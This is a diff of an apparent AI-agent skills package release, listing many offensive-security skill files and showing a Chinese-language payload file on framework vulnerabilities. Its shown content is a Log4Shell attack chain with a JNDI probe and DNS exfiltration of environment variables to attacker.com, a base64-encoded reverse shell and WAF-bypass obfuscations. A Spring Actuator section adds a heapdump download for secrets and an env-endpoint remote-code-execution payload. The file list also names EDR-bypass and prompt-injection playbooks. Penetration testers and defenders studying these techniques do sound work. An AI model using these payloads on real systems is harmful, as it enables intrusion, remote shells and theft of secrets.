opencode-skills-collection 4.0.43 → 4.0.45
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +47 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1214 -2
|
@@ -0,0 +1,2304 @@
|
|
|
1
|
+
# 框架漏洞
|
|
2
|
+
|
|
3
|
+
_18 条 web payload_
|
|
4
|
+
|
|
5
|
+
### Log4j RCE (Log4Shell) `log4j-rce`
|
|
6
|
+
_Apache Log4j远程代码执行漏洞_
|
|
7
|
+
子类:**Log4j** · tags: `log4j` `rce` `cve-2021-44228` `log4shell`
|
|
8
|
+
|
|
9
|
+
**前置条件:**
|
|
10
|
+
- 使用Log4j 2.x版本
|
|
11
|
+
- 用户输入被记录到日志
|
|
12
|
+
|
|
13
|
+
**攻击链:**
|
|
14
|
+
|
|
15
|
+
**1. 探测漏洞**
|
|
16
|
+
> 探测Log4j漏洞
|
|
17
|
+
```
|
|
18
|
+
在任意输入点注入:
|
|
19
|
+
${jndi:ldap://attacker.com/test}
|
|
20
|
+
观察是否有DNS回调
|
|
21
|
+
```
|
|
22
|
+
**语法解析:**
|
|
23
|
+
- `jndi:` — JNDI查找 _method_
|
|
24
|
+
- `ldap:` — LDAP协议 _method_
|
|
25
|
+
|
|
26
|
+
**2. DNS外带测试**
|
|
27
|
+
> 外带敏感信息
|
|
28
|
+
```
|
|
29
|
+
${jndi:ldap://${env:USER}.attacker.com}
|
|
30
|
+
${jndi:ldap://${sys:java.version}.attacker.com}
|
|
31
|
+
外带环境变量或系统属性
|
|
32
|
+
```
|
|
33
|
+
**语法解析:**
|
|
34
|
+
- `${env:USER}` — 获取环境变量 _value_
|
|
35
|
+
- `${sys:java.version}` — 获取系统属性 _value_
|
|
36
|
+
|
|
37
|
+
**3. 构造恶意LDAP服务器**
|
|
38
|
+
> 构造RCE payload
|
|
39
|
+
```
|
|
40
|
+
使用JNDIExploit或rogue-jndi:
|
|
41
|
+
java -jar JNDIExploit.jar -i attacker.com
|
|
42
|
+
构造payload:
|
|
43
|
+
${jndi:ldap://attacker.com:1389/Basic/Command/base64/d2hvYW1p}
|
|
44
|
+
```
|
|
45
|
+
**语法解析:**
|
|
46
|
+
- `Basic/Command` — 执行命令的LDAP路由 _value_
|
|
47
|
+
- `base64` — Base64编码的命令 _encoding_
|
|
48
|
+
|
|
49
|
+
**4. 获取Shell**
|
|
50
|
+
> 获取反弹Shell
|
|
51
|
+
_platform: linux_
|
|
52
|
+
```
|
|
53
|
+
${jndi:ldap://attacker.com:1389/Basic/Command/base64/YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci80NDQ0IDA+JjE=}
|
|
54
|
+
Base64解码为: bash -i >& /dev/tcp/attacker/4444 0>&1
|
|
55
|
+
```
|
|
56
|
+
**语法解析:**
|
|
57
|
+
- `base64` — Base64编码 _encoding_
|
|
58
|
+
- `jndi:` — JNDI查找 _method_
|
|
59
|
+
- `ldap:` — LDAP协议 _method_
|
|
60
|
+
|
|
61
|
+
**WAF/EDR 绕过变体:**
|
|
62
|
+
|
|
63
|
+
**绕过关键字过滤**
|
|
64
|
+
> 使用嵌套表达式绕过
|
|
65
|
+
```
|
|
66
|
+
${${lower:j}ndi:ldap://attacker.com}
|
|
67
|
+
${${upper:j}ndi:${lower:l}dap://attacker.com}
|
|
68
|
+
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com}
|
|
69
|
+
```
|
|
70
|
+
**语法解析:**
|
|
71
|
+
- `${lower:j}` — 将j转为小写 _value_
|
|
72
|
+
- `${::-j}` — 默认值语法 _value_
|
|
73
|
+
|
|
74
|
+
**绕过特殊字符过滤**
|
|
75
|
+
> 构造协议字符串
|
|
76
|
+
```
|
|
77
|
+
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://attacker.com}
|
|
78
|
+
${jndi:dns://attacker.com}
|
|
79
|
+
```
|
|
80
|
+
**语法解析:**
|
|
81
|
+
- `jndi:` — JNDI查找 _method_
|
|
82
|
+
|
|
83
|
+
|
|
84
|
+
**概述:** Log4Shell(CVE-2021-44228)是Apache Log4j 2.x的远程代码执行漏洞,通过JNDI注入(${jndi:ldap://...})在日志记录时触发远程类加载,影响数百万Java应用,是近年来最严重的安全漏洞之一。
|
|
85
|
+
|
|
86
|
+
**漏洞原理:** Log4j JNDI注入利用日志消息中的${jndi:ldap://attacker/exploit}表达式触发LDAP/RMI远程类加载。受影响版本(2.0-2.14.1)在记录日志时自动解析嵌套表达式,攻击者控制任何被记录的输入(User-Agent/搜索词等)即可触发RCE。
|
|
87
|
+
|
|
88
|
+
**利用方法:** 完整利用流程:
|
|
89
|
+
1. 找到用户输入被记录的点
|
|
90
|
+
2. 注入JNDI payload
|
|
91
|
+
3. 搭建恶意LDAP服务器
|
|
92
|
+
4. 加载恶意类执行命令
|
|
93
|
+
|
|
94
|
+
**防御措施:** 防御措施:
|
|
95
|
+
1. 升级Log4j到最新版本
|
|
96
|
+
2. 设置formatMsgNoLookups=true
|
|
97
|
+
3. 删除JndiLookup类
|
|
98
|
+
4. 使用WAF过滤JNDI模式
|
|
99
|
+
|
|
100
|
+
---
|
|
101
|
+
|
|
102
|
+
### Spring Actuator漏洞 `spring-actuator`
|
|
103
|
+
_Spring Boot Actuator端点安全漏洞_
|
|
104
|
+
子类:**Spring** · tags: `spring` `actuator` `rce` `java`
|
|
105
|
+
|
|
106
|
+
**前置条件:**
|
|
107
|
+
- Spring Boot应用
|
|
108
|
+
- Actuator端点暴露
|
|
109
|
+
|
|
110
|
+
**攻击链:**
|
|
111
|
+
|
|
112
|
+
**1. 探测Actuator端点**
|
|
113
|
+
> 探测暴露的Actuator端点
|
|
114
|
+
```
|
|
115
|
+
/actuator
|
|
116
|
+
/actuator/env
|
|
117
|
+
/actuator/health
|
|
118
|
+
/actuator/mappings
|
|
119
|
+
/actuator/configprops
|
|
120
|
+
/actuator/heapdump
|
|
121
|
+
```
|
|
122
|
+
**语法解析:**
|
|
123
|
+
- `/actuator` — Actuator根端点 _value_
|
|
124
|
+
- `/env` — 环境变量端点 _value_
|
|
125
|
+
- `/heapdump` — 堆转储端点 _value_
|
|
126
|
+
|
|
127
|
+
**2. 获取敏感信息**
|
|
128
|
+
> 获取环境变量和配置
|
|
129
|
+
```
|
|
130
|
+
/actuator/env
|
|
131
|
+
查看数据库密码、API密钥等
|
|
132
|
+
/actuator/configprops
|
|
133
|
+
查看配置属性
|
|
134
|
+
```
|
|
135
|
+
**语法解析:**
|
|
136
|
+
- `/actuator/env` — 命令/关键字 _command_
|
|
137
|
+
|
|
138
|
+
**3. 下载堆转储**
|
|
139
|
+
> 下载并分析堆转储
|
|
140
|
+
```
|
|
141
|
+
curl -o heapdump http://target.com/actuator/heapdump
|
|
142
|
+
使用Memory Analyzer Tool分析
|
|
143
|
+
搜索password、secret等关键词
|
|
144
|
+
```
|
|
145
|
+
**语法解析:**
|
|
146
|
+
- `heapdump` — JVM堆内存转储 _value_
|
|
147
|
+
|
|
148
|
+
**4. env端点RCE**
|
|
149
|
+
> 通过env端点执行命令
|
|
150
|
+
```
|
|
151
|
+
POST /actuator/env
|
|
152
|
+
Content-Type: application/x-www-form-urlencoded
|
|
153
|
+
spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('String exec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} return null;}')
|
|
154
|
+
|
|
155
|
+
POST /actuator/restart
|
|
156
|
+
```
|
|
157
|
+
**语法解析:**
|
|
158
|
+
- `CONCAT` — 字符串拼接 _function_
|
|
159
|
+
- `EXEC` — 执行存储过程 _keyword_
|
|
160
|
+
- `;` — 命令分隔符 _operator_
|
|
161
|
+
- `Content-Type` — 内容类型头 _header_
|
|
162
|
+
- `Runtime.exec` — Java命令执行 _function_
|
|
163
|
+
|
|
164
|
+
**WAF/EDR 绕过变体:**
|
|
165
|
+
|
|
166
|
+
**路径遍历与分号参数技巧**
|
|
167
|
+
> Spring框架的分号路径参数特性允许在URL中插入分号段绕过路径匹配规则,结合双编码和路径穿越访问被限制的Actuator端点
|
|
168
|
+
```
|
|
169
|
+
# 分号路径参数绕过(Spring特性):
|
|
170
